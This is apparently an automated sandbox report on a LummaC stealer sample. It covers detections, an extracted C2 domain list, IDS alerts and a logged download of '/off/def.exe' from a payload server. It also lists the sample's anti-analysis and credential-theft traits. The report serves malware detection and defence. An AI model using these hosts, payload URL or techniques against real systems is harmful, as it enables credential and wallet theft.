Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1572115
MD5:	5a9cac2f794b43f5d882fca4c8b69e01
SHA1:	a8599eb0cd47d74d71788a7c7d2002a068b844fc
SHA256:	3997786e3af8757f0fd6c93a105c035fd32af39f1a16e08f28636a8bac1816d5
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6228 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 5A9CAC2F794B43F5D882FCA4C8B69E01)

chrome.exe (PID: 2436 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1548 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2064 --field-trial-handle=1912,i,17050092175459860122,8061209407353569252,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7376 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7568 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2012 --field-trial-handle=1968,i,12435437372849550956,943092038503640388,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["atten-supporse.biz", "zinc-sneark.biz", "se-blurry.biz", "impend-differ.biz", "covery-mover.biz", "print-vexer.biz", "dare-curbys.biz", "formy-spill.biz", "dwell-exclaim.biz"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2262456548.0000000000F44000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2261933260.0000000000F43000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6228	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 6228	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6228	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 6228	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T06:38:02.832588+0100	2028371	3	Unknown Traffic	192.168.2.6	49707	104.21.112.1	443	TCP
2024-12-10T06:38:04.918412+0100	2028371	3	Unknown Traffic	192.168.2.6	49709	104.21.112.1	443	TCP
2024-12-10T06:38:07.522241+0100	2028371	3	Unknown Traffic	192.168.2.6	49710	104.21.112.1	443	TCP
2024-12-10T06:38:10.028705+0100	2028371	3	Unknown Traffic	192.168.2.6	49711	104.21.112.1	443	TCP
2024-12-10T06:38:12.748176+0100	2028371	3	Unknown Traffic	192.168.2.6	49713	104.21.112.1	443	TCP
2024-12-10T06:38:15.423386+0100	2028371	3	Unknown Traffic	192.168.2.6	49719	104.21.112.1	443	TCP
2024-12-10T06:38:18.340005+0100	2028371	3	Unknown Traffic	192.168.2.6	49726	104.21.112.1	443	TCP
2024-12-10T06:38:23.206318+0100	2028371	3	Unknown Traffic	192.168.2.6	49741	104.21.112.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T06:38:03.565679+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49707	104.21.112.1	443	TCP
2024-12-10T06:38:06.039647+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49709	104.21.112.1	443	TCP
2024-12-10T06:38:23.929224+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49741	104.21.112.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T06:38:03.565679+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49707	104.21.112.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T06:38:06.039647+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49709	104.21.112.1	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T06:38:02.832588+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49707	104.21.112.1	443	TCP
2024-12-10T06:38:04.918412+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49709	104.21.112.1	443	TCP
2024-12-10T06:38:07.522241+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49710	104.21.112.1	443	TCP
2024-12-10T06:38:10.028705+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49711	104.21.112.1	443	TCP
2024-12-10T06:38:12.748176+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49713	104.21.112.1	443	TCP
2024-12-10T06:38:15.423386+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49719	104.21.112.1	443	TCP
2024-12-10T06:38:18.340005+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49726	104.21.112.1	443	TCP
2024-12-10T06:38:23.206318+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49741	104.21.112.1	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T06:38:25.398805+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49747	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T06:38:01.384502+0100	2057921	1	Domain Observed Used for C2 Detected	192.168.2.6	58348	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-10T06:38:16.427636+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49719	104.21.112.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://atten-supporse.biz/J	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/;	Avira URL Cloud: Label: malware
Source: https://atten-supporse.biz/z	Avira URL Cloud: Label: malware

Found malware configuration

Source: file.exe.6228.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["atten-supporse.biz", "zinc-sneark.biz", "se-blurry.biz", "impend-differ.biz", "covery-mover.biz", "print-vexer.biz", "dare-curbys.biz", "formy-spill.biz", "dwell-exclaim.biz"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 42%
Source: file.exe	Virustotal: Detection: 50%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2546635718.0000000000391000.00000040.00000001.01000000.00000003.sdmp	String decryptor: impend-differ.biz
Source: 00000000.00000002.2546635718.0000000000391000.00000040.00000001.01000000.00000003.sdmp	String decryptor: print-vexer.biz
Source: 00000000.00000002.2546635718.0000000000391000.00000040.00000001.01000000.00000003.sdmp	String decryptor: dare-curbys.biz
Source: 00000000.00000002.2546635718.0000000000391000.00000040.00000001.01000000.00000003.sdmp	String decryptor: covery-mover.biz
Source: 00000000.00000002.2546635718.0000000000391000.00000040.00000001.01000000.00000003.sdmp	String decryptor: formy-spill.biz
Source: 00000000.00000002.2546635718.0000000000391000.00000040.00000001.01000000.00000003.sdmp	String decryptor: dwell-exclaim.biz
Source: 00000000.00000002.2546635718.0000000000391000.00000040.00000001.01000000.00000003.sdmp	String decryptor: zinc-sneark.biz
Source: 00000000.00000002.2546635718.0000000000391000.00000040.00000001.01000000.00000003.sdmp	String decryptor: se-blurry.biz
Source: 00000000.00000002.2546635718.0000000000391000.00000040.00000001.01000000.00000003.sdmp	String decryptor: atten-supporse.biz
Source: 00000000.00000002.2546635718.0000000000391000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2546635718.0000000000391000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2546635718.0000000000391000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2546635718.0000000000391000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2546635718.0000000000391000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2546635718.0000000000391000.00000040.00000001.01000000.00000003.sdmp	String decryptor: LOGS11--LiveTraffic

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50039 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000003.2433530209.00000000080F0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2552809052.00000000061C2000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057921 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz) : 192.168.2.6:58348 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49709 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49707 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49713 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49711 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49710 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49719 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49726 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.6:49741 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49707 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49707 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49709 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49709 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49719 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49741 -> 104.21.112.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: atten-supporse.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 10 Dec 2024 05:38:24 GMTContent-Type: application/octet-streamContent-Length: 2814464Last-Modified: Tue, 10 Dec 2024 05:34:36 GMTConnection: keep-aliveETag: "6757d2ec-2af200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 3f 61 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 71 6a 70 69 65 61 6a 62 00 a0 2a 00 00 a0 00 00 00 92 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 77 67 64 71 68 6a 6c 00 20 00 00 00 40 2b 00 00 04 00 00 00 cc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 60 2b 00 00 22 00 00 00 d0 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49709 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49707 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49713 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49711 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49710 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49719 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49726 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49741 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49747 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.13
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.13
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.13
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.13
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.13
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_100.7.dr, chromecache_89.7.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let 